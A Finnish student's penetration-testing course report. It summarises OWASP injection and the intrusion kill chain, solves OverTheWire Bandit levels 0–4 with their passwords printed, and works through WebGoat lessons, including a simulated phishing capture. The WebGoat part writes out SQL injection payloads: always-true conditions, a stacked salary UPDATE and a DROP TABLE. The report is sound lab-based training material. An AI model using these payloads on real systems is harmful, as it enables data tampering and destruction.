Vuohi, tappoketju ja pimeän verkon päiväkirjat
Tero Karvinen
Raportissa on vastaukset Haaga-Helia Ammattikorkeakoulu Tunkeutumistestaus -opintojakson tehtäviin. Kurssi perustuu Tero Karvisen materiaaleihin.
Kirjoittamani materiaali saa muuttaa, jakaa, käyttää ja kopioida GNU General Public License v.3.0 mukaisesti.
Lue ja tiivistä.
OWASP 10 A03:2021 – Injection
OWASP määrittelee erilaiset injektiot kolmannelle sijalle. Sovellus on injektioille altis, kun käyttäjäsyötettä ei tarkasteta tai validoida, ohjelmatulkki ajaa parametrisoimattomia kutsuja tai kun hyökkääjän dataa ajetaan ohjelmassa sellaisenaan. Injektioilta voidaan suojautua pitämällä data erossa ohjelmaan lähetettävistä kutsuista ja käskyistä. Suositeltu ja turvallinen tapa on käyttää rajapintoja, jotka eivät suoraan käskytä ohjelmatulkkia ja jotka tarjoavat turvallisen, parametrisoidun, keinon käyttää ohjelmaa. Palvelinpuolen syöte tulisi validoida ja käyttäjän syöttämät erikoismerkit tulisi käsitellä ja suojata siten, ettei niitä voi ajaa suoraan esimerkiksi tietokannassa.
Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains
Abstract
Perinteiset torjuntatyökalut, kuten antivirussovellukset ja IDS (Intrusion Detection System) eivät enää riitä hyökkäystapojen ja -työkalujen kehityksen vuoksi. Kohteina ovat mm. valtiolliset tahot ja hyökkäykset voivat kestää jopa vuosia. Tappoketjun vaiheiden ymmärtäminen helpottaa puolustautumista ja pienentää vastustajan onnistumisprosenttia.
3.2 Intrusion Kill Chain
Tappoketjun tarkoituksena on vastustajan tuhoaminen tai vammauttaminen. Termissä käytetään sanaa “ketju” sen vuoksi, että onnistunut prosessi vaatii jokaisen askeleen onnistunutta käytäntöönpanoa. Yhdysvaltojen armeijan tappoketju koostuu seuraavista vaiheista:
- Kohteen identifiointi
- Kohteen paikallistaminen
- Kohteen seuranta
- Aseistautuminen halutuilla välineistöllä
- Kohteen lukitseminen
- Seurausten arviointi
Tappoketjua voidaan soveltaa verkkovakoiluun ja -tunkeutumiseen:
- Tiedustelu – tutustu kohteeseen ja sen käyttämiin järjestelmiin
- Aseistus – valitse käytettävä murtautumistekniikka
- Jakelu – aseta valittu teknologia kohteen järjestelmiin
- Hyödyntäminen – ota käyttöön hyötykuorma ja hyödynnä haavoittuvuudet
- Asennus – asenna kohdekoneeseen halutut ohjelmat
- Etähallinta – ota kohdejärjestelmä hallintaasi
- Tavoitteiden käytäntöönpano – tee halutut ja tavoitellut toimenpiteet.
3.3 Courses of Action
Tappoketju luo mallin puolustautumiselle: puolustava taho voi keskittyä niihin tappoketjun prosesseihin, joihin hyökkääjien tietää iskevän. Puolustajat voivat mitata torjuntatyökalujen ja -tapojen toimivuutta ja suunnitella näiden toimintojen kehitystyötä. Jotta puolustus on vahva ja riittävä, pitää tuntea hyökkääjä ja hänen käyttämät tavat.
Taulukon avulla voidaan tarkastella tapoja ja työkaluja, joilla eri tappoketjuprosessin hyökkäysvaiheet havaitaan, kielletään, keskeytetään, heikennetään, harhautetaan tai tuhotaan. Vaikka hyökkääjä käyttäisi nollapäivä-haavoittuvuutta jossakin tappoketjun vaiheessa, on puolustavalla taholla suuret mahdollisuudet välttyä hyökkäykseltä, mikäli toimenpiteet muita tappoketjun vaiheita on kunnossa.
Vapaavalintainen jakso Darknet Diaries podcastista
Kuuntelin 15.9.2020 julkaistun jakson “EP 74: Mikko“. Jakso oli hyvin Suomi-keskeinen, sillä jaksossa käsiteltiin kuinka kotimaisen pokeriammattilaisen Jens Kyllösen tietokoneeseen asennettiin malwarea 2013 kesken pokeriturnauksen Barcelonassa ja kuinka F-Secure tutki Kyllösen tietokonetta ja sen sisältämää virusta. Kyllösen tultua esiin tapauksen tiimoilta kävi ilmi, että muutama muukin pokeriammattilainen oli kokenut vastaavia kokemuksia. Vuonna 2019 tanskalainen pokeriammattilainen Peter Jepsen tuomittiin syyllistyneensä vakoiluohjelmien asentamisesta muiden pokeriammattilaisten tietokoneisiin. Ohjelma lähetti kohdekoneilta kuvakaappauksia, joka mahdollisti Jensenille sen, että hän näki vastapelaajiensa kortit ja pystyi tekemään peliin liittyvät päätöksensä huijauksen turvin.
Jakson loppuosio käsitteli Mikko Hyppösen uratarinaa tietoturvan parissa sekä Data Fellowsin (nyk. F-Secure) tekemistä merkittävistä malwarehavainnoista ja kokemuksista tietoturvakentällä.
Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).
Level 0
Ohjeissa annettiin käyttäjätunnus salasanoineen ja käskettiin luomaan ssh-yhteys kohteeseen.
$ ssh bandit0@bandit.labs.overthewire.org -p 2220
Syötin annetun salasanan.
Level 0 -> Level 1
Ohjeet kertoivat seuraavan salasanan löytyvän kotihakemiston tiedostosta readme.
bandit0@bandit:~$ ls
readme
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
Suljin yhteyden ja loin uuden ssh-yhteyden seuraavaan kohteeseen.
bandit0@bandit:~$ exit
logout
Connection to bandit.labs.overthewire.org closed.
┌──(sami㉿pentest)-[~]
└─$ ssh bandit1@bandit.labs.overthewire.org -p 2220
Level 1 -> Level 2
Vihjeen mukaan kotihakemistosta löytyy tiedosto, joka sisältää uuden salasanan. Ohjeissa kehotettiin Googlaamaan ohjeet siihen, miten ” – ” nimetty tiedosto luetaan.
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
Katkaisin yhteyden ja loin uuden yhteyden seuraavaan kohteeseen.
bandit1@bandit:~$ exit
logout
Connection to bandit.labs.overthewire.org closed.
┌──(sami㉿pentest)-[~]
└─$ ssh bandit2@bandit.labs.overthewire.org -p 2220
Level 2 -> Level 3
Salasana seuraavalle tasolle löytyy kotihakemiston tiedostosta, jonka nimessä on välilyöntejä. Googlasin tietoa tämänkaltaisen tiedoston lukemisesta: tiedostojen nimiin on mahdollista lisätä välilyöntejä, mutta ohjelmien vikatilanteiden välttämiseksi niitä tulisi välttää.
In a shell/command line context, wrap the filename in single or double quotes (but note they are not the same WRT other issues), or escape the spaces with
@goldilocks / StackExhange.com\
.
Shell lisäsi automaattisesti välilyönnit poistavat \
-merkit täydentäessäni tiedostonimen shift
-näppäimellä.
bandit2@bandit:~$ cat spaces\ in\ this\ filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
Katkaisin yhteyden ja loin uuden yhteyden seuraavaan kohteeseen.
bandit2@bandit:~$ exit
logout
Connection to bandit.labs.overthewire.org closed.
┌──(sami㉿pentest)-[~]
└─$ ssh bandit3@bandit.labs.overthewire.org -p 2220
Level 3 -> Level 4
Uusi salasana löytyy piilotetusta tiedostosta hakemistosta inhere/
. Hakemiston piilotetut tiedostot voidaan listata vivulla -a, --all
.
bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ ls -a
. .. .hidden
bandit3@bandit:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
Katkaisin yhteyden ja loin uuden yhteyden seuraavaan kohteeseen.
bandit3@bandit:~/inhere$ exit
logout
Connection to bandit.labs.overthewire.org closed.
┌──(sami㉿pentest)-[~]
└─$ ssh bandit4@bandit.labs.overthewire.org -p 2220
Asenna Kali Linux
Latasin uusimman Kali Linuxin amd64-arkkitehtuurin live-tikun .iso
-levykuvan. (kali-linux-2021.3a-installer-amd64.iso
). Asennan Kalin virtuaaliympäristöön käyttäen Oraclen VirtualBox Windows -versiota 6.1.18
. Loin uuden virtuaalikoneen valitsemalla Machine -> New.
Käynnistin luomani virtuaalikoneen.
Valitsin “Add” ja valitsin Kalin levykuvan.
Valitsin kieleksi suomen, sijainniksi Suomen, ympäristömuuttujiksi suomi-lokaalit ja näppäimistöksi yllättäen suomimerkistön. Jostain syystä englanninkieliselle Linuxille ja suomi-sijainnille ei saanut valittua suomi-lokaaleja. Syötin konenimen, verkkoaluenimen sekä käyttäjäkohtaiset nimi- ja salasanavalinnat.
Levyosioinnista valitsin ohjatun koko levyn käytön, luomani virtuaalikovalevyn yhdellä levyosiolla. Lopetin osioiden teon ja tallensin muutokset. Asennusohjelma ryhtyi asentamaan virtuaali-Kalia. Käytin asennuspalvelimen kopiota ja jätin välipalvelimen tiedot tyhjiksi. Asensin GRUBin ja valitsin luomani virtuaalikovalevyn.
Virtuaalikone käynnistyi uudelleen ja kirjauduin sisään.
Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään
Asensin uusimman Javan. Uusin WebGoat-versio vaatii toimiakseen Java 15 tai uudemman.
$ sudo apt-get -y install openjdk-17-jre
Latasin WebGoatin uusimman version ja käynnistin sen. Java-ohjelmia voidaan pakata .jar
-tiedostoiksi: ne sisältävät suoritettavia Java-luokkia sekä ohjelman toimintaan liittyvää metadataa ja muita tiedostoja, kuten kuvia ja tekstitiedostoja.
$ wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar
$ java -jar webgoat-server-8.2.2.jar
Avasin selaimen johon syötin WebGoatin osoitteen http://localhost:8080/WebGoat/
, valitsin “Register new user” ja loin uuden käyttäjän.
Osassa tehtävistä voidaan käyttää WebWolfia, jolla voidaan simuloida hyökkääjän tietokonetta. Latasin WebWolfin (v.8.2.2
) ja käynnistin sen.
$ wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar
$ java -jar webwolf-8.2.2.jar
Oletuksena WebGoat käyttää porttia :8080
ja WebWolf porttia :9090
. Avasin toiseen selaimeen WebWolfin, syötin osoiteriville http://localhost:9090
ja testasin toimivuuden.
Testasin WebWolfin sähköpostiominaisuutta, jolla simuloidaan käyttäjän sähköpostilaatikkoa.
Testasin WebWolfin “Landing page” ominaisuutta, joka näyttää kaikki /landing/***
-endpointiin tehdyt kutsut. Valitsin “Click here to reset your password”. Sivulla simuloidaan hyökkääjän lomaketietoja kaappaavaa huijaussivua. Syöttämäni salasana ja uniikkikoodi löytyy parametreinä osoiteriviltä: http://127.0.0.1:9090/landing?uniqueCode=taogbew-imas&password=testi
. WebWolfissa näkyy nyt mm. kohteen salasana tietoa järjestelmästä.
Ratkaise WebGoatista tehtävät
HTTP Basics
HTTP pyyntö on POST
: lomakkeella lähetetään dataa palvelimelle. Pyyntöjä pystyy selaamaan selaimen (F12) Developer Toolsien “Network” -välilehdeltä.
Magic number on 21: luku löytyy lomakkeesta, mutta se on piilotettu. <input>
tagin type
-attribuutin arvoksi on määritelty hidden
. Etsin hakusanalla “magic”. Kokeilumielessä poistin attribuutin arvon Developer Toolsin “Inspector” välilehdeltä, jonka vuoksi kenttä tuli näkyviin.
Developer Tools
Avasin Developer Toolsin “Console” välilehden, tyhjensin sisällön roskakori-ikonista, kutsuin tehtävänannon funktiota ja syötin numerot tekstikenttään.
Seuraavassa tehtävässä avasin Developer Toolsin “Network” välilehden, tyhjensin rivit roskakori-ikonista ja painoin “Go!” näppäintä. Kentään ilmestyi onnistunut POST
-pyyntö, jonka avasin ja tarkastelin sen sisältämää dataa “Request” välilehdeltä.
A1 Injection (intro)
Tiedon haku tietokannasta.
SELECT department
FROM Employees
WHERE last_name='Franco
';
Data Manipulation Language (DML) avulla dataa voidaan tallentaa, hakea, muokata ja poistaa.
UPDATE Employees
SET department = 'Sales'
WHERE last_name = 'Barnett';
Data Definition Language (DDL) avulla muokataan tietokannan taulun rakennetta.
ALTER TABLE Employees
ADD phone varchar(20);
Data Control Language (DCL) avulla määritellään tietokannan käyttäjäkohtaisia oikeuksia.
GRANT ALL on grant_rights to unauthorized_user;
Merkkijono SQLi. Pudotusvalikoista piti valita oikeat arvot, jotka toteuttavat injektion.
SELECT * FROM user_data
WHERE first_name = 'John'
AND last_name = 'Smith'
OR '1' = '1';
Numeerinen SQLi. Toisessa injektiossa täytettävänä oli kaksi tekstikenttää. Injektio on mahdollista tehdä jälkimmäisen kentän avulla.
SELECT * FROM user_data
WHERE Login_Count = 1
AND userid = 1
OR TRUE;
Luottamuksen vaarantaminen. Kolmas injektio tehdään taas jälkimmäisen kentän avulla. Lainausmerkkien avulla merkkijonoja voidaan manipuloida ja asettaa ehto, joka toteutuu aina.
SELECT * FROM employees
WHERE last_name = 'anything'
AND auth_tan = '0'
OR '1' = '1';
Eheyden vaarantaminen. Neljännessä injektiossa ;
-merkillä päätetään aiempi kysely ja sen perään voidaan kirjoittaa taulun riviä päivittävä lause.
'; UPDATE employees SET salary = 100001 WHERE auth_tan = '3SL99A';--
Saavutettavuuden vaarantaminen. Viidennessä injektiossa lokitietokanta access_log
oli mahdollista poistaa.
'; DROP TABLE access_log;--